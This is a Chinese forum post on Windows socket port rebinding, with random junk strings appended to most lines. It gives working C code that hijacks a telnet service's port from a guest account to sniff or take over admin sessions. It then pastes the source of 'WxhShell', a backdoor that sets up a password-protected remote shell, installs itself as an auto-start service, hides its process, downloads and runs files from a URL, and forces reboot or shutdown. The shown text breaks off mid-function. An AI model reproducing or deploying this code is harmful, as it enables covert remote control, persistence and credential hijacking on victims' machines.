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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: m2N ?Fg  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); BT`6v+,h7k  
VQLo vt"  
  saddr.sin_family = AF_INET; =D3Y q?  
,ZH)[P)5P  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ]YwIuz6]  
Y`c\{&M6  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr));  5+VdZ'@  
;ATk?O4T  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 i?mDR$X:  
6!+"7r6  
  这意味着什么?意味着可以进行如下的攻击: nY(jN D  
'6K WobXm  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 }*? e w  
$`]<4I9d  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) TmO\!`  
_|~2i1 Ms,  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ?VReKv1\  
8zZR %fZ  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  lOZ.{0{f,  
<Z#u_:5@  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ~;U!?  
&_!BMzp4  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 >~XX'}  
o F @{&  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 >Z>*Iz,LP  
#7'ww*+  
  #include ^=W%G^jJy  
  #include SD TX0v  
  #include m*["  
  #include    M0_K%Z(zaR  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ( 4b&}46  
  int main() Tk+\Biq   
  { ,g^Bu {?  
  WORD wVersionRequested; nA+[[(6  
  DWORD ret; %s<7|,  
  WSADATA wsaData; E%+V\ W%  
  BOOL val; `[Lap=.' .  
  SOCKADDR_IN saddr; -4X,x  
  SOCKADDR_IN scaddr; \Z57UNI  
  int err; UVU}  
  SOCKET s; ^3*gf}  
  SOCKET sc; "hQV\|!\  
  int caddsize; v*#Z{)r  
  HANDLE mt; {J|P2a[  
  DWORD tid;   (-"A5(X:/  
  wVersionRequested = MAKEWORD( 2, 2 ); >,1'[) _  
  err = WSAStartup( wVersionRequested, &wsaData ); )[zyvU. J3  
  if ( err != 0 ) { )w/f 'fq  
  printf("error!WSAStartup failed!\n"); -?@ $`{-K  
  return -1; 3)GXu>) t  
  } iiRK3m  
  saddr.sin_family = AF_INET; Fbk<qQH  
   [i&z_e)  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 9E (>mN  
cL=P((<K?  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); RV&2y=eb  
  saddr.sin_port = htons(23); Gt-  -7S  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9:@os0^O  
  { |5g*pXu{  
  printf("error!socket failed!\n"); }H^#}  
  return -1; d(fgv  
  } TcRnjsY$  
  val = TRUE; {4:En;  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 #=$4U!yL  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) a^sR?.+3  
  { *~fN^{B'!  
  printf("error!setsockopt failed!\n"); 4e*0kItC  
  return -1; i*2z7MY  
  } f+/^1~^  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; -3KB:K<  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 rhL<JTS  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 2|Tt3/Rn  
,PIdPaV--  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 0<i~XN0g  
  { o AQ92~b  
  ret=GetLastError(); 0.+iVOz+Y  
  printf("error!bind failed!\n"); s?_b[B d  
  return -1; 6`+DBr  
  } cYGZZC8|K  
  listen(s,2); +>I4@1qC-|  
  while(1) rJNf&x%6  
  { Y!Z@1V`  
  caddsize = sizeof(scaddr); |y=CmNG,  
  //接受连接请求 TF3Tha]  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); OFUN hbg  
  if(sc!=INVALID_SOCKET) Ha 3XH_  
  { e348^S&rG  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ZJw9 2Sb  
  if(mt==NULL) \,(tP:o  
  { E}a3.6)p  
  printf("Thread Creat Failed!\n"); `SIJszqc  
  break; a(}jn|  
  } 8q0f#/`v  
  } I>P</TE7  
  CloseHandle(mt); &[3!Lk`.0  
  } EA8(_}  
  closesocket(s); Ye )(9  
  WSACleanup(); mexI }  
  return 0; h]'fX  
  }   v4Nb/Y  
  DWORD WINAPI ClientThread(LPVOID lpParam) U&B~GJT+  
  { }]?RngTt  
  SOCKET ss = (SOCKET)lpParam; <F!:dyl  
  SOCKET sc; {= z%( '^  
  unsigned char buf[4096]; )3u[btm  
  SOCKADDR_IN saddr; zV2c `he%z  
  long num; ,U<Ku*}B  
  DWORD val; AJmS1 B  
  DWORD ret; Rl S=^}>  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Q"Bgr&RJ  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   M)b`~|Wt  
  saddr.sin_family = AF_INET; se)I2T{J  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); &1Az`[zKGW  
  saddr.sin_port = htons(23); EIF[e|kZ<  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) oxad}Y  
  { m:"2I&0)WM  
  printf("error!socket failed!\n"); g@j:TQM_0  
  return -1; f0hi70\(X  
  } m7!l3W2  
  val = 100; J4co@=AJ  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) B3yn:=80  
  { "= %-  
  ret = GetLastError(); j5ui  
  return -1; n_c0=YH  
  } 50'6l X(v,  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)  m+vwp\0  
  { L\"=H4r  
  ret = GetLastError(); s5z@`M5'm  
  return -1; :;|x'[JoE?  
  } {O"dj;RU  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) C6, Bqlio  
  { O&X-)g=  
  printf("error!socket connect failed!\n"); _VMJq9.  
  closesocket(sc); zR5D)`Ph   
  closesocket(ss); $/d~bk@=l  
  return -1; w]%r]PwU+  
  } fc\hQXYv  
  while(1) g.9MPN  
  { wTTQIo 60  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 vJcvyz#%1  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 61C&vm  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 p]aIMF_  
  num = recv(ss,buf,4096,0); |a"(Ds2U  
  if(num>0) -,+JE0[  
  send(sc,buf,num,0); d&U;rMEv  
  else if(num==0) kW(8i}bg  
  break; =0v{+ #}  
  num = recv(sc,buf,4096,0); lX7#3ti:  
  if(num>0) jEI!t^#  
  send(ss,buf,num,0); .^v7LF]Q  
  else if(num==0) \LS%bO,Y|  
  break; dY O87n  
  } ry U0x  
  closesocket(ss); %? iE3j!q  
  closesocket(sc); Nd6N:1 -  
  return 0 ; ;N,7#l|wi  
  } \zoJr)  
}- +;{u  
VSSiuo'5w  
========================================================== eq/s8]uM  
nDPfr\\  
下边附上一个代码,,WXhSHELL @lBH@HR=C  
%ZZ}TUI W  
========================================================== ho:,~ A;k  
a<HM|dcst  
#include "stdafx.h" )<~b*^kl\  
+)F8YMg e  
#include <stdio.h> w}2yi#E[  
#include <string.h> ^^%*2^  
#include <windows.h> 7"S|GEs:  
#include <winsock2.h> OrRve$U*|  
#include <winsvc.h> g xLA1]>{  
#include <urlmon.h> RnTPU`  
O=+C Kx@  
#pragma comment (lib, "Ws2_32.lib") *]H ./a:1  
#pragma comment (lib, "urlmon.lib") hz/5k%%UX  
qI'a|p4fn?  
#define MAX_USER   100 // 最大客户端连接数 P|6m%y  
#define BUF_SOCK   200 // sock buffer i\ PN  
#define KEY_BUFF   255 // 输入 buffer j5RM S V  
<Z0Tz6/j,  
#define REBOOT     0   // 重启 #}vcffgZ  
#define SHUTDOWN   1   // 关机 nGuF, 0j  
WIhf*LF"  
#define DEF_PORT   5000 // 监听端口 r<0 .!j%c  
zPVA6~|l  
#define REG_LEN     16   // 注册表键长度 _]Hn:O"o  
#define SVC_LEN     80   // NT服务名长度 >o[T#U  
jUfc&bi3  
// 从dll定义API >M +!i+  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (*M(gM{;  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 7%F9.h  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $AX!L+<!  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); u4Xrvfb,  
y%T'e(5Ed  
// wxhshell配置信息 &9O-!  
struct WSCFG { !X,=RR `zT  
  int ws_port;         // 监听端口 G.BqT\ o'  
  char ws_passstr[REG_LEN]; // 口令 g;*~ xo  
  int ws_autoins;       // 安装标记, 1=yes 0=no vUCU%>F  
  char ws_regname[REG_LEN]; // 注册表键名 3XA^{&}  
  char ws_svcname[REG_LEN]; // 服务名 TQ>1u  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 =izB :  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &KD m5p  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 1ITa6vjS  
int ws_downexe;       // 下载执行标记, 1=yes 0=no AFY;;_Xks  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" IYrO;GQ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 M9iu#6P  
Ml)WY#7  
}; q_I''L  
S[%86(,*gP  
// default Wxhshell configuration ~+|p.(I  
struct WSCFG wscfg={DEF_PORT, cy? EX~s4  
    "xuhuanlingzhe", MbJV)*Q  
    1, 19lx;^b  
    "Wxhshell", Dui<$jl0b  
    "Wxhshell", }t-{,0  
            "WxhShell Service", 7.]xcJmt>'  
    "Wrsky Windows CmdShell Service", iaR'):TD  
    "Please Input Your Password: ", rv\<Q-uQ8  
  1, <vPIC G)  
  "http://www.wrsky.com/wxhshell.exe", i|2Q}$3t2  
  "Wxhshell.exe" s^E%Uk m  
    }; gsZCWT  
2B*9]AHny  
// 消息定义模块 J NsK   
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 8S)k]$wf%  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 4w\')@`[jk  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; $ A ( #^&  
char *msg_ws_ext="\n\rExit."; .lj\ H  
char *msg_ws_end="\n\rQuit."; z43H]  
char *msg_ws_boot="\n\rReboot..."; UZXnABg,J  
char *msg_ws_poff="\n\rShutdown..."; {o;J'yjre1  
char *msg_ws_down="\n\rSave to "; |KkVt]ZQe9  
oS]XE!^M  
char *msg_ws_err="\n\rErr!"; Ldig/:  
char *msg_ws_ok="\n\rOK!"; J%%nv5y  
6r^(VT  
char ExeFile[MAX_PATH]; z*kn.sW  
int nUser = 0; \.}* s]6  
HANDLE handles[MAX_USER]; 5Rc 5/m  
int OsIsNt; *}LYMrP  
#LcF;1o%o2  
SERVICE_STATUS       serviceStatus; rH & ^SNc  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; I*'QD)  
S=o Ab&  
// 函数声明 j'v2m6/  
int Install(void); p6>3 p  
int Uninstall(void); qex.}[  
int DownloadFile(char *sURL, SOCKET wsh); " Z#&A  
int Boot(int flag); Vw+U?  
void HideProc(void); Dd :Qotu  
int GetOsVer(void); ,%D \  
int Wxhshell(SOCKET wsl); y%z$_V]  
void TalkWithClient(void *cs); I=. 98v%  
int CmdShell(SOCKET sock); MQLa+I,S4  
int StartFromService(void); 3'IF? ](]U  
int StartWxhshell(LPSTR lpCmdLine); XN??^1{J}]  
"S*lI^8Z!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @y)fR.!)1$  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); F2lTDuk>C  
r"k\G\,%  
// 数据结构和表定义 e6,/ i  
SERVICE_TABLE_ENTRY DispatchTable[] = vJK0>":G  
{ )6Hc Pso6  
{wscfg.ws_svcname, NTServiceMain}, 8 \%*4L'  
{NULL, NULL} bluhiiATd  
}; }Vk#w%EJ  
cO_En`F  
// 自我安装 BgUf:PT  
int Install(void) h_fA  
{ >P/.X^G0  
  char svExeFile[MAX_PATH]; IhY[c/ |i  
  HKEY key; LzP+l>m  
  strcpy(svExeFile,ExeFile); P>Pw;[b>O  
^!?W!k!:V  
// 如果是win9x系统,修改注册表设为自启动 F"~uu9u  
if(!OsIsNt) { ?!cUAa>iH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f)/Yru. ;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j<e`8ex?  
  RegCloseKey(key); /+iU1m'(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Uz[#t1*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?%#3p[  
  RegCloseKey(key); [gx6e 44  
  return 0; wxN'Lv=R  
    } I6X_DPY  
  } m.Yj{u8zX  
} &n91f  
else { c|IH|y  
Z!v)zH\  
// 如果是NT以上系统,安装为系统服务 gT?:zd=;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); X\V1c$13CK  
if (schSCManager!=0) L >Y%$|4  
{ ~*ST fyFw  
  SC_HANDLE schService = CreateService _e7 Y R+  
  ( [y&yy|*\  
  schSCManager, aF]4%E  
  wscfg.ws_svcname, #J# x,BLI  
  wscfg.ws_svcdisp, /X9Kg  
  SERVICE_ALL_ACCESS, #px74EeI\  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , y)CnH4{  
  SERVICE_AUTO_START, Hj2E-RwG  
  SERVICE_ERROR_NORMAL, s<h]2W  
  svExeFile, :I[nA?d[&  
  NULL, STtjkZ6  
  NULL, sZxf.  
  NULL, PqKbG<}Y  
  NULL, V*Ta[)E  
  NULL U\s.fIr  
  ); F^fL  
  if (schService!=0) lhZXq!2p  
  { >;:235'(M  
  CloseServiceHandle(schService); 7A<X!a  
  CloseServiceHandle(schSCManager); "**Tw'  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); F-D9nI4{X  
  strcat(svExeFile,wscfg.ws_svcname);  At3>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Psm5J80}n  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); bwG$\Oe6  
  RegCloseKey(key); PFq1Zai}n|  
  return 0; iGlg@  
    } :2ILN.&  
  } @Fvp~]jCb  
  CloseServiceHandle(schSCManager); .!/w[Z]  
} CC"}aV5  
} 9kZ[Z ,=>  
?d&l_Pa0e  
return 1; <$metN~9j  
} Y=6569U2  
`#Z=cq^_  
// 自我卸载 9EHhVi  
int Uninstall(void) g3B%}!|  
{ zZR_&z<  
  HKEY key; pL 2P .  
@ LPs.e  
if(!OsIsNt) { R2,Z`I  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wIeF(}VM  
  RegDeleteValue(key,wscfg.ws_regname); 40h  
  RegCloseKey(key); Fab gJu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {8p<iY- %  
  RegDeleteValue(key,wscfg.ws_regname); @$mh0K>  
  RegCloseKey(key); r9sq3z|%  
  return 0; V7DMn@Ckw  
  } =[5F~--Tf  
} eO%w i.Q  
} #$n >+ lc  
else { gV~_m  
^hZZ5(</8P  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); w eX%S&#?  
if (schSCManager!=0) _?~EWT   
{ F)K&a  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ` ES-LLhVf  
  if (schService!=0) ~xPU#m<  
  { HV21=W  
  if(DeleteService(schService)!=0) { KJ (|skO  
  CloseServiceHandle(schService); f(S9>c2  
  CloseServiceHandle(schSCManager); 94.|l  
  return 0; Y(mnGaVn  
  } x_L5NsO:  
  CloseServiceHandle(schService); 1egq:bh  
  } W?TvdeBx  
  CloseServiceHandle(schSCManager); VcX89c4\  
} n Nu~)X  
} H^sImIEUT  
 /dI8o  
return 1; qzk!'J3*r<  
} uE &/:+  
Y' FB {  
// 从指定url下载文件 80_}}op ?8  
int DownloadFile(char *sURL, SOCKET wsh) d#(ffPlq  
{ 3R>"X c  
  HRESULT hr; /0m0""  
char seps[]= "/"; aoUz_7  
char *token; Wr+/ 9  
char *file; V |cPAT%  
char myURL[MAX_PATH]; :;Xh`br  
char myFILE[MAX_PATH]; \JLea$TM:  
)gVz?-u+D  
strcpy(myURL,sURL); GAP,$xAaW  
  token=strtok(myURL,seps); mE"(d*fe'  
  while(token!=NULL) :@@aIFRv  
  { ]621Z1  
    file=token; 4$oDq  
  token=strtok(NULL,seps); -y|*x-iZ  
  } 1`Z:/]hl  
joA>-k04  
GetCurrentDirectory(MAX_PATH,myFILE); lJvfgP-j  
strcat(myFILE, "\\"); slnvrel  
strcat(myFILE, file); (&i c3/-  
  send(wsh,myFILE,strlen(myFILE),0); ]WYddiF  
send(wsh,"...",3,0); vJj}$AlI  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Yr)<1.K4,M  
  if(hr==S_OK) #J'V,_ wH  
return 0; 7TtDI=f  
else B4/\=MXb  
return 1; ()^tw5e'^  
+aQM %~  
} ~F " w  
1<G,0Lt  
// 系统电源模块 &|fPskpy  
int Boot(int flag) XwZR Kh\>=  
{ ,K15KN.'  
  HANDLE hToken; RF[Uy?es  
  TOKEN_PRIVILEGES tkp; s5\<D7  
sK@]|9ciQ  
  if(OsIsNt) { dv cLZK  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 50e vWD  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 0" F\ V  
    tkp.PrivilegeCount = 1; %bp'`B=  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ^U9b)KA  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); SuA  @S  
if(flag==REBOOT) { yZ-Ql1 1  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >H5_,A}f  
  return 0; }SFmv},Ij  
} 8b"vXNB.f  
else { ':|E$@$W  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ,`!>.E.  
  return 0; \E1CQP-  
} =F% <W7  
  } kq*IC&y  
  else { weMufT  
if(flag==REBOOT) { LJSx~)@  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ]+5Y\~I  
  return 0; l0PXU)>C  
} ,&iEn}xG7i  
else { /b]+RXvxj  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) #y8Esik  
  return 0; |RH^|2:x9Q  
} ,f~)CXNT?  
} kl|m @Nxp  
BPSi e0  
return 1; +3 J5j+  
} uHuL9Q^  
qN'%q+n  
// win9x进程隐藏模块 06 an(& a9  
void HideProc(void) ;EsfHCi)  
{ &`}d;r|yn1  
yu jv^2/  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); A |P wm`  
  if ( hKernel != NULL ) z(#CO<C.t  
  { B A i ^t  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); J u"/#@  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); [U,hb1Wi3  
    FreeLibrary(hKernel); s( :N>K5*  
  } PKZMuEEy,  
-n:;/ere7-  
return; g*WY kv  
} MSb0J`  
je74As[  
// 获取操作系统版本 n){u!z)Al  
int GetOsVer(void)  GG(}#Z5h  
{ zUA -  
  OSVERSIONINFO winfo; G%dzJpC(  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Z*Fn2I4  
  GetVersionEx(&winfo); 0pBG^I`_  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) CN6b 982&  
  return 1; ;73{n*a$  
  else `^ )oVs  
  return 0; v<ati c  
} nFjaV`6`@  
#.2} t0*]5  
// 客户端句柄模块 :Vrj[i-{  
int Wxhshell(SOCKET wsl) ynn>d  
{ POQ4&ChA  
  SOCKET wsh; ~PX#' Jr  
  struct sockaddr_in client; K7ZRj\(CJv  
  DWORD myID; ,IPryI   
/BrbP7  
  while(nUser<MAX_USER) |~+bbN|b  
{ `pXPF}T  
  int nSize=sizeof(client); /~+j[o B  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); op,mP0b  
  if(wsh==INVALID_SOCKET) return 1; #;\tgUQ  
d z\yP v~  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); + 7nA; C  
if(handles[nUser]==0) yG<Q t+D  
  closesocket(wsh); ^= '+#|:  
else $*7AG  
  nUser++; ~,{nBp9*  
  } qdZo cTf'  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Z#@<|{eI  
%.s"l6 W  
  return 0; #VuiY  
} m,SWG[~  
(wp?tMN5#  
// 关闭 socket bKQ-PM&I/t  
void CloseIt(SOCKET wsh) fK4NmdTV  
{ \O\veB8  
closesocket(wsh); R}$A>)%dx  
nUser--; ~g&Gi)je  
ExitThread(0); -V52?Hq  
} Px`z$~*B:  
~./M5P!\  
// 客户端请求句柄 WE&"W$0  
void TalkWithClient(void *cs) m</nOf+C  
{ Zv8G[(  
8cbgP$X  
  SOCKET wsh=(SOCKET)cs; - P'c0I9z  
  char pwd[SVC_LEN]; R-5e9vyS  
  char cmd[KEY_BUFF]; /&RS+By(i  
char chr[1]; 9]|G-cyt  
int i,j; Tl*FK?)MC^  
;CA7\&L>  
  while (nUser < MAX_USER) { nn/_>%Y  
<a=k"'0  
if(wscfg.ws_passstr) { ig?Tj4kD  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); okD7!)cr=  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !qJ|`o Y  
  //ZeroMemory(pwd,KEY_BUFF); #po}Y  
      i=0; 0GnbE2&  
  while(i<SVC_LEN) { BoXGoFn  
C6c]M@6  
  // 设置超时 EYU3Pl%  
  fd_set FdRead; **Q K}j[D  
  struct timeval TimeOut; 8yCQWDE}  
  FD_ZERO(&FdRead); ,IG?(CK|  
  FD_SET(wsh,&FdRead); ;%Zn)etu  
  TimeOut.tv_sec=8; "3VMjF\  
  TimeOut.tv_usec=0; 1{bsh?zd  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); R^GLATM  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); H_7X%TvXb  
pAd SOR2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3o^  oq  
  pwd=chr[0]; +7bV  
  if(chr[0]==0xd || chr[0]==0xa) { /qO?)p3gk  
  pwd=0; EXT_x q  
  break; Z#062NL "  
  } fQ~YBFhlr  
  i++; [X=Ot#?u ~  
    } {1]Of'x'  
ZTP&*+d  
  // 如果是非法用户,关闭 socket 8(0q,7)y  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); G1:2MPH  
} Qrt> vOUE7  
wvNddu>@  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ceGo:Aa<)  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .{LJ  
LxxFosi8  
while(1) { Fd@:*ER  
Ov9kD0S  
  ZeroMemory(cmd,KEY_BUFF); ]0)=0pc]E  
Q2ky|  
      // 自动支持客户端 telnet标准   V7i1BR8G  
  j=0; |.[4$C  
  while(j<KEY_BUFF) { #[ hJm'G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0Xw3h^%  
  cmd[j]=chr[0]; $5a%hK  
  if(chr[0]==0xa || chr[0]==0xd) { e025m}%SU  
  cmd[j]=0; Gv zw=~8  
  break; '}T6e1#JV  
  } =H2.1 :'  
  j++; gDjs:]/YR  
    } XxEKv=_bc  
0YVkq?1x9  
  // 下载文件 xt"GO  b  
  if(strstr(cmd,"http://")) { 3re|=_ Hy  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Z CS{D  
  if(DownloadFile(cmd,wsh)) 6s|4'!  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); N5:muh \  
  else B0}f,J\  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  mH*6Q>  
  } t&=]>blIs  
  else { o]|a5. O  
^gD%#3>X  
    switch(cmd[0]) { 5KFd/9  
  =e$6o2!'}  
  // 帮助 eb>YvC  
  case '?': { v(2|n}qY  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); |,Xrt8O/[  
    break; _o-D},f*e  
  } {^VvL'n  
  // 安装 z`[q$H7?  
  case 'i': { ?Em*yc@WD  
    if(Install()) GP\Pk/E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uM<6][^`  
    else #D&]5"0cX  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D#n^U `\if  
    break; 1Q ^YaHzuW  
    } ZNvnVW<  
  // 卸载 2v6QUf  
  case 'r': { DIu rFDQSS  
    if(Uninstall()) ^?)o,djY&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }$ZcC_  
    else T7{Z0-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .<C}/Cl  
    break; :LwNOuavN  
    } h[0,/`qb{  
  // 显示 wxhshell 所在路径 :5`BhFAd  
  case 'p': { ?E?dg#yk  
    char svExeFile[MAX_PATH]; $G5;y>  
    strcpy(svExeFile,"\n\r"); yprf `D>  
      strcat(svExeFile,ExeFile); tj_+0J$sw:  
        send(wsh,svExeFile,strlen(svExeFile),0); &[hq !v  
    break; 1>SCY _C v  
    } V_g9oR_  
  // 重启 {D jz']  
  case 'b': { d M&BnI  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); '<C I^5^  
    if(Boot(REBOOT)) |NcfR"[c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^"h`U'YC  
    else { tGs=08`  
    closesocket(wsh); \=yx~c_$L  
    ExitThread(0); \HB4ikl  
    } ;O2r+n  
    break; {1y-*@yU(  
    } "gD)Uis  
  // 关机 (f  0p   
  case 'd': { TB gD"i-  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); OwwlQp ~!J  
    if(Boot(SHUTDOWN)) EQkv&k5X  
